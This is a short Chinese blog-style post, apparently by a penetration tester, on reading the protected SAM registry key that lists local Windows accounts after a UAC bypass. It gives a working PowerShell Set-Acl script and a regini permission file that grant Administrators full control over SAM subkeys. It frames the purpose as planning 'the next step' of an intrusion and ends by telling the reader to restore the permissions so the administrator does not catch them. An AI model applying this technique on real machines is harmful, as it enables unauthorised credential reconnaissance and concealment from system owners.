那日,我需要查看某机器的帐号密码有哪些,以做下一步计划。

要查看的注册表是键是:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

默认该键是需要system才能看到的哦,如果你的机器可以直接到,那你就要掂量一下了。

那么我当前只有过了UAC的administrator权限,是没有办法看的,没有绕过姿势,只有添加权限姿势。

修改注册表查看权限

  • powershell

不支持对子键的权限分配

1
2
3
4
5
6
7
8
9
10
$acl = Get-Acl HKLM:SAM\SAM\
$person = [System.Security.Principal.NTAccount]"Administrators"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"NoPropagateInherit"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.ResetAccessRule($rule)
Set-Acl HKLM:SAM\SAM\Domains\Account\Users\Names $acl
  • cmd

HKEY_LOCAL_MACHINE\SAM [1 17]保存为ini文件格式的文件,如保存为:pri.ini,然后cmd执行regini pri.ini,那么我们的administrator就有查看该键下的子键的权限了。所以更多的子建查看就是以下代码。

1
2
3
4
5
6
HKEY_LOCAL_MACHINE\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]

*代表枚举所有子键

1代表Administrators 完全访问

17代表System 完全访问

详细权限说明可通过cmd执行regini获取帮助,如下图

最后,整完活了记得把注册表权限修改回来哦,不然管理员把你捉住哦